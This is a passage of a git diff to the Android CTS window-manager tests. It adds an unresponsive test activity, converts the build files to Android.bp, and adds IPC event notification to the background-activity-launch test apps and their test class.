+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_KEYDOWN_DELAY_MS;
+import static android.server.wm.app.Components.UnresponsiveActivity.EXTRA_ON_MOTIONEVENT_DELAY_MS;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.SystemClock;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+
+public class UnresponsiveActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final int delay = getIntent().getIntExtra(EXTRA_ON_CREATE_DELAY_MS, 0);
+        SystemClock.sleep(delay);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        final int delay = getIntent().getIntExtra(EXTRA_DELAY_UI_THREAD_MS, 0);
+        final Handler handler = new Handler();
+        handler.postDelayed(() -> {
+            SystemClock.sleep(delay);
+        }, 100);
+
+    }
+
+    @Override
+    public boolean onKeyDown(int keyCode, KeyEvent event) {
+        final int delay = getIntent().getIntExtra(EXTRA_ON_KEYDOWN_DELAY_MS, 0);
+        SystemClock.sleep(delay);
+        return super.onKeyDown(keyCode, event);
+    }
+
+    @Override
+    public boolean onTouchEvent(MotionEvent event) {
+        final int delay = getIntent().getIntExtra(EXTRA_ON_MOTIONEVENT_DELAY_MS, 0);
+        SystemClock.sleep(delay);
+        return super.onGenericMotionEvent(event);
+    }
+}
diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java
index 269a151..e8019aa 100644
--- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java
+++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/VirtualDisplayActivity.java
@@ -21,6 +21,7 @@
 import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
 import static android.server.wm.ActivityLauncher.KEY_DISPLAY_ID;
 import static android.server.wm.ActivityLauncher.KEY_LAUNCH_ACTIVITY;
+import static android.server.wm.ActivityLauncher.KEY_NEW_TASK;
 import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
 import static android.server.wm.ComponentNameUtils.getActivityName;
 import static android.server.wm.app.Components.VirtualDisplayActivity.COMMAND_CREATE_DISPLAY;
@@ -255,6 +256,7 @@
         extras.putBoolean(KEY_LAUNCH_ACTIVITY, true);
         extras.putString(KEY_TARGET_COMPONENT, getActivityName(activityName));
         extras.putInt(KEY_DISPLAY_ID, displayId);
+        extras.putBoolean(KEY_NEW_TASK, true);
         ActivityLauncher.launchActivityFromExtras(this, extras);
     }
 }
diff --git a/tests/framework/base/windowmanager/app_base/Android.bp b/tests/framework/base/windowmanager/app_base/Android.bp
index 1bbaf14..113a65d 100644
--- a/tests/framework/base/windowmanager/app_base/Android.bp
+++ b/tests/framework/base/windowmanager/app_base/Android.bp
@@ -17,15 +17,17 @@
     srcs: ["**/ComponentsBase.java"],
 }
 
-java_test {
+java_test_helper_library {
     name: "cts-wm-app-base",
 
-    static_libs: [
-        "androidx.test.rules",
-        "cts-wm-util",
+    srcs: [
+        "src/**/*.java",
+        ":cts-wm-app-util",
     ],
 
-    srcs: ["src/**/*.java"],
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
 
     sdk_version: "test_current",
 }
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
index 575e878..2afd545 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/app/TestActivity.java
@@ -18,7 +18,10 @@
 
 import static android.server.wm.app.Components.TestActivity.EXTRA_CONFIG_ASSETS_SEQ;
 import static android.server.wm.app.Components.TestActivity.EXTRA_FIXED_ORIENTATION;
+import static android.server.wm.app.Components.TestActivity.EXTRA_INTENTS;
+import static android.server.wm.app.Components.TestActivity.EXTRA_NO_IDLE;
 import static android.server.wm.app.Components.TestActivity.TEST_ACTIVITY_ACTION_FINISH_SELF;
+import static android.server.wm.app.Components.TestActivity.COMMAND_START_ACTIVITIES;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
@@ -26,6 +29,13 @@
 import android.content.IntentFilter;
 import android.content.res.Configuration;
 import android.os.Bundle;
+import android.os.Looper;
+import android.os.Parcelable;
+import android.view.animation.Animation;
+import android.view.animation.RotateAnimation;
+import android.widget.ProgressBar;
+
+import java.util.Arrays;
 
 public class TestActivity extends AbstractLifecycleLogActivity {
 
@@ -47,6 +57,28 @@
             final int ori = Integer.parseInt(getIntent().getStringExtra(EXTRA_FIXED_ORIENTATION));
             setRequestedOrientation(ori);
         }
+
+        if (getIntent().hasExtra(EXTRA_NO_IDLE)) {
+            preventAcitivtyIdle();
+        }
+    }
+
+    /** Starts a repeated animation on main thread to make its message queue non-empty. */
+    private void preventAcitivtyIdle() {
+        final ProgressBar progressBar = new ProgressBar(this);
+        progressBar.setIndeterminate(true);
+        setContentView(progressBar);
+        final RotateAnimation animation = new RotateAnimation(0, 180, Animation.RELATIVE_TO_SELF,
+                0.5f, Animation.RELATIVE_TO_SELF, 0.5f);
+        animation.setRepeatCount(Animation.INFINITE);
+        progressBar.startAnimation(animation);
+
+        Looper.myLooper().getQueue().addIdleHandler(() -> {
+            if (progressBar.isAnimating()) {
+                throw new RuntimeException("Shouldn't receive idle while animating");
+            }
+            return false;
+        });
     }
 
     @Override
@@ -71,6 +103,18 @@
     }
 
     @Override
+    public void handleCommand(String command, Bundle data) {
+        switch (command) {
+            case COMMAND_START_ACTIVITIES:
+                final Parcelable[] intents = data.getParcelableArray(EXTRA_INTENTS);
+                startActivities(Arrays.copyOf(intents, intents.length, Intent[].class));
+                break;
+            default:
+                super.handleCommand(command, data);
+        }
+    }
+
+    @Override
     public void onConfigurationChanged(Configuration newConfig) {
         super.onConfigurationChanged(newConfig);
         dumpConfiguration(newConfig);
diff --git a/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java b/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java
index ebefa7e..a8369c5 100644
--- a/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java
+++ b/tests/framework/base/windowmanager/app_base/src/android/server/wm/component/ComponentsBase.java
@@ -16,9 +16,6 @@
 
 package android.server.wm.component;
 
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-
 import android.content.ComponentName;
 
 /**
@@ -37,7 +34,9 @@
      */
     protected static ComponentName component(
             Class<? extends ComponentsBase> componentsClass, String className) {
-        assertFalse("className should not start with '.'", className.startsWith("."));
+        if (className.startsWith(".")) {
+            throw new AssertionError("Class name should not start with '.'");
+        }
         final String packageName = getPackageName(componentsClass);
         final boolean isSimpleClassName = className.indexOf('.') < 0;
         final String fullClassName = isSimpleClassName ? packageName + "." + className : className;
@@ -50,7 +49,9 @@
      * @return package name of APK.
      */
     protected static String getPackageName(Class<? extends ComponentsBase> componentsClass) {
-        assertEquals("Components", componentsClass.getSimpleName());
+        if (!"Components".equals(componentsClass.getSimpleName())) {
+            throw new AssertionError("The class name must be 'Components'");
+        }
         return componentsClass.getPackage().getName();
     }
 }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
new file mode 100644
index 0000000..077d788
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/Android.bp
@@ -0,0 +1,38 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsActivityManagerBackgroundActivityTestCases",
+    defaults: ["cts_defaults"],
+
+    // TODO(b/129909356): Consolidate this to CtsWindowManagerDeviceTestCases.apk
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+
+    static_libs: [
+        "androidx.test.rules",
+        "cts-wm-util",
+        "cts-wm-app-base",
+        "cts-core-test-runner-axt",
+        "cts-background-activity-common",
+    ],
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/Android.mk b/tests/framework/base/windowmanager/backgroundactivity/Android.mk
deleted file mode 100644
index 3ddcdf0..0000000
--- a/tests/framework/base/windowmanager/backgroundactivity/Android.mk
+++ /dev/null
@@ -1,38 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests optional
-
-# TODO(b/129909356): Consolidate this to CtsWindowManagerDeviceTestCases.apk
-LOCAL_PACKAGE_NAME := CtsActivityManagerBackgroundActivityTestCases
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-
-LOCAL_SDK_VERSION := test_current
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    cts-wm-util \
-    cts-wm-app-base \
-    cts-core-test-runner-axt
-
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
\ No newline at end of file
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
new file mode 100644
index 0000000..ec2f566
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBackgroundActivityAppA",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: [
+        "cts-wm-app-base",
+        "cts-background-activity-common",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.mk b/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.mk
deleted file mode 100644
index 08d4f36..0000000
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-wm-app-base
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsBackgroundActivityAppA
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
index 3647be4..7ec1cc9 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/SendPendingIntentReceiver.java
@@ -23,11 +23,14 @@
 import static android.server.wm.backgroundactivity.appa.Components.StartBackgroundActivityReceiver.START_ACTIVITY_DELAY_MS_EXTRA;
 import static android.server.wm.backgroundactivity.appb.Components.APP_B_START_PENDING_INTENT_RECEIVER;
 import static android.server.wm.backgroundactivity.appb.Components.StartPendingIntentReceiver.PENDING_INTENT_EXTRA;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
 
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.ResultReceiver;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
 
 /**
  * Receive broadcast command to create a pendingIntent and send it to AppB.
@@ -38,6 +41,10 @@
     public void onReceive(Context context, Intent receivedIntent) {
         boolean isBroadcast = receivedIntent.getBooleanExtra(IS_BROADCAST_EXTRA, false);
         int startActivityDelayMs = receivedIntent.getIntExtra(START_ACTIVITY_DELAY_MS_EXTRA, 0);
+        ResultReceiver eventNotifier = receivedIntent.getParcelableExtra(EVENT_NOTIFIER_EXTRA);
+        if (eventNotifier != null) {
+            eventNotifier.send(Event.APP_A_SEND_PENDING_INTENT_BROADCAST_RECEIVED, null);
+        }
 
         final PendingIntent pendingIntent;
         if (isBroadcast) {
@@ -46,6 +53,7 @@
             Intent newIntent = new Intent();
             newIntent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
             newIntent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, startActivityDelayMs);
+            newIntent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
             pendingIntent = PendingIntent.getBroadcast(context, 0,
                     newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
         } else {
@@ -53,7 +61,6 @@
             Intent newIntent = new Intent();
             newIntent.setComponent(APP_A_BACKGROUND_ACTIVITY);
             newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-
             pendingIntent = PendingIntent.getActivity(context, 0,
                     newIntent, PendingIntent.FLAG_UPDATE_CURRENT);
         }
@@ -62,6 +69,7 @@
         Intent intent = new Intent();
         intent.setComponent(APP_B_START_PENDING_INTENT_RECEIVER);
         intent.putExtra(PENDING_INTENT_EXTRA, pendingIntent);
+        intent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
         context.sendBroadcast(intent);
     }
 }
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java
index 844dd4f..0622a45 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppA/src/android/server/wm/backgroundactivity/appa/StartBackgroundActivityReceiver.java
@@ -17,11 +17,14 @@
 package android.server.wm.backgroundactivity.appa;
 
 import static android.server.wm.backgroundactivity.appa.Components.StartBackgroundActivityReceiver.START_ACTIVITY_DELAY_MS_EXTRA;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.ResultReceiver;
 import android.os.SystemClock;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
 
 /**
  * A class to help test case to start background activity.
@@ -30,6 +33,11 @@
 
     @Override
     public void onReceive(Context context, Intent intent) {
+        ResultReceiver eventNotifier = intent.getParcelableExtra(EVENT_NOTIFIER_EXTRA);
+        if (eventNotifier != null) {
+            eventNotifier.send(Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED, null);
+        }
+
         if (!intent.hasExtra(START_ACTIVITY_DELAY_MS_EXTRA)) {
             startActivityNow(context);
             return;
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
new file mode 100644
index 0000000..90c00f9
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.bp
@@ -0,0 +1,34 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsBackgroundActivityAppB",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: [
+        "cts-wm-app-base",
+        "cts-background-activity-common",
+    ],
+
+    srcs: ["src/**/*.java"],
+
+    sdk_version: "test_current",
+
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.mk b/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.mk
deleted file mode 100644
index 0398b74..0000000
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2019 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    cts-wm-app-base
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := test_current
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsBackgroundActivityAppB
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java
index 830a611..e8f6991 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/AppB/src/android/server/wm/backgroundactivity/appb/StartPendingIntentReceiver.java
@@ -17,11 +17,14 @@
 package android.server.wm.backgroundactivity.appb;
 
 import static android.server.wm.backgroundactivity.appb.Components.StartPendingIntentReceiver.PENDING_INTENT_EXTRA;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
 
 import android.app.PendingIntent;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
+import android.os.ResultReceiver;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
 
 /**
  * Receive pending intent from AppA and launch it
@@ -31,6 +34,11 @@
     @Override
     public void onReceive(Context context, Intent intent) {
         PendingIntent pendingIntent = intent.getParcelableExtra(PENDING_INTENT_EXTRA);
+        ResultReceiver eventNotifier = intent.getParcelableExtra(EVENT_NOTIFIER_EXTRA);
+        if (eventNotifier != null) {
+            eventNotifier.send(Event.APP_B_START_PENDING_INTENT_BROADCAST_RECEIVED, null);
+        }
+
         try {
             pendingIntent.send();
         } catch (PendingIntent.CanceledException e) {
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
new file mode 100644
index 0000000..65f6d51
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/Android.bp
@@ -0,0 +1,26 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test {
+    name: "cts-background-activity-common",
+
+    srcs: ["src/**/*.java"],
+
+    static_libs: [
+        "androidx.annotation_annotation",
+    ],
+
+    sdk_version: "test_current",
+
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/CommonComponents.java b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/CommonComponents.java
new file mode 100644
index 0000000..1981ffb
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/CommonComponents.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.common;
+
+import androidx.annotation.IntDef;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+
+/**
+ * Constant-holding class common to AppA, AppB and tests.
+ */
+public class CommonComponents {
+
+    public static final String EVENT_NOTIFIER_EXTRA = "EVENT_NOTIFIER_EXTRA";
+
+    @IntDef({
+            Event.APP_A_SEND_PENDING_INTENT_BROADCAST_RECEIVED,
+            Event.APP_B_START_PENDING_INTENT_BROADCAST_RECEIVED,
+            Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED,
+    })
+    @Retention(RetentionPolicy.SOURCE)
+    public @interface Event {
+        int APP_A_SEND_PENDING_INTENT_BROADCAST_RECEIVED = 0;
+        int APP_B_START_PENDING_INTENT_BROADCAST_RECEIVED = 1;
+        int APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED = 2;
+    }
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/EventReceiver.java b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/EventReceiver.java
new file mode 100644
index 0000000..9c635b8
--- /dev/null
+++ b/tests/framework/base/windowmanager/backgroundactivity/common/src/android/server/wm/backgroundactivity/common/EventReceiver.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.wm.backgroundactivity.common;
+
+import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
+import android.os.Looper;
+import android.os.ResultReceiver;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
+
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Class used to register for events sent via IPC using {@link #getNotifier()} parcelable.
+ *
+ * Create an instance for the event of interest, pass {@link #getNotifier()} to the target, either
+ * via some AIDL or intent extra, have the caller call {@link ResultReceiver#send(int, Bundle)},
+ * then finally wait for the event with {@link #waitForEventOrThrow(long)}.
+ */
+public class EventReceiver {
+    private final Handler mHandler = new Handler(Looper.getMainLooper());
+    private final ConditionVariable mEventReceivedVariable = new ConditionVariable(false);
+
+    @Event
+    private final int mEvent;
+
+    public EventReceiver(@Event int event) {
+        mEvent = event;
+    }
+
+    public ResultReceiver getNotifier() {
+        return new ResultReceiver(mHandler) {
+            @Override
+            protected void onReceiveResult(@Event int event, Bundle data) {
+                if (event == mEvent) {
+                    mEventReceivedVariable.open();
+                }
+            }
+        };
+    }
+
+    /**
+     * Waits for registered event or throws {@link TimeoutException}.
+     */
+    public void waitForEventOrThrow(long timeoutMs) throws TimeoutException {
+        // Avoid deadlocks
+        if (Thread.currentThread() == mHandler.getLooper().getThread()) {
+            throw new IllegalStateException("This method should be called from different thread");
+        }
+
+        if (!mEventReceivedVariable.block(timeoutMs)) {
+            throw new TimeoutException("Timed out waiting for event " + mEvent);
+        }
+    }
+}
diff --git a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
index 6461c8f..34e3dbd 100644
--- a/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
+++ b/tests/framework/base/windowmanager/backgroundactivity/src/android/server/wm/BackgroundActivityLaunchTest.java
@@ -40,6 +40,7 @@
 import static android.server.wm.backgroundactivity.appa.Components.SendPendingIntentReceiver.IS_BROADCAST_EXTRA;
 import static android.server.wm.backgroundactivity.appa.Components.StartBackgroundActivityReceiver.START_ACTIVITY_DELAY_MS_EXTRA;
 import static android.server.wm.backgroundactivity.appb.Components.APP_B_FOREGROUND_ACTIVITY;
+import static android.server.wm.backgroundactivity.common.CommonComponents.EVENT_NOTIFIER_EXTRA;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
@@ -56,9 +57,13 @@
 import android.content.ComponentName;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.os.ResultReceiver;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
+import android.server.wm.backgroundactivity.common.CommonComponents.Event;
+import android.server.wm.backgroundactivity.common.EventReceiver;
 
+import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.FlakyTest;
 
@@ -69,6 +74,7 @@
 import org.junit.Test;
 
 import java.util.List;
+import java.util.concurrent.TimeoutException;
 
 /**
  * This class covers all test cases for starting/blocking background activities.
@@ -87,6 +93,12 @@
     private static final String TEST_PACKAGE_APP_A = "android.server.wm.backgroundactivity.appa";
     private static final String TEST_PACKAGE_APP_B = "android.server.wm.backgroundactivity.appb";
 
+    /**
+     * Tests can be executed as soon as the device has booted. When that happens the broadcast queue
+     * is long and it takes some time to process the broadcast we just sent.
+     */
+    private static final int BROADCAST_DELIVERY_TIMEOUT_MS = 60000;
+
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
@@ -113,17 +125,19 @@
 
     @After
     public void tearDown() throws Exception {
-        stopTestPackage(TEST_PACKAGE_APP_A);
-        stopTestPackage(TEST_PACKAGE_APP_B);
-        pressHomeButton();
-        AppOpsUtils.reset(APP_A_PACKAGE_NAME);
-        mAmWmState.waitForHomeActivityVisible();
+        // We do this before anything else, because having an active device owner can prevent us
+        // from being able to force stop apps. (b/142061276)
         runWithShellPermissionIdentity(() -> {
             runShellCommand("dpm remove-active-admin --user current "
                     + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
         });
-        // TODO(b/130169434): Remove it when app switch protection bug is fixed
-        SystemClock.sleep(5000);
+
+        super.tearDown();
+
+        stopTestPackage(TEST_PACKAGE_APP_A);
+        stopTestPackage(TEST_PACKAGE_APP_B);
+        launchHomeActivity();
+        AppOpsUtils.reset(APP_A_PACKAGE_NAME);
     }
 
     @Test
@@ -135,17 +149,6 @@
         boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
         assertFalse("Should not able to launch background activity", result);
         assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
-
-        // TODO(b/137134312): Bring this back once the stacks leakage issue is fixed
-        // Make sure aborting activity starts won't have any empty task/stack leaks.
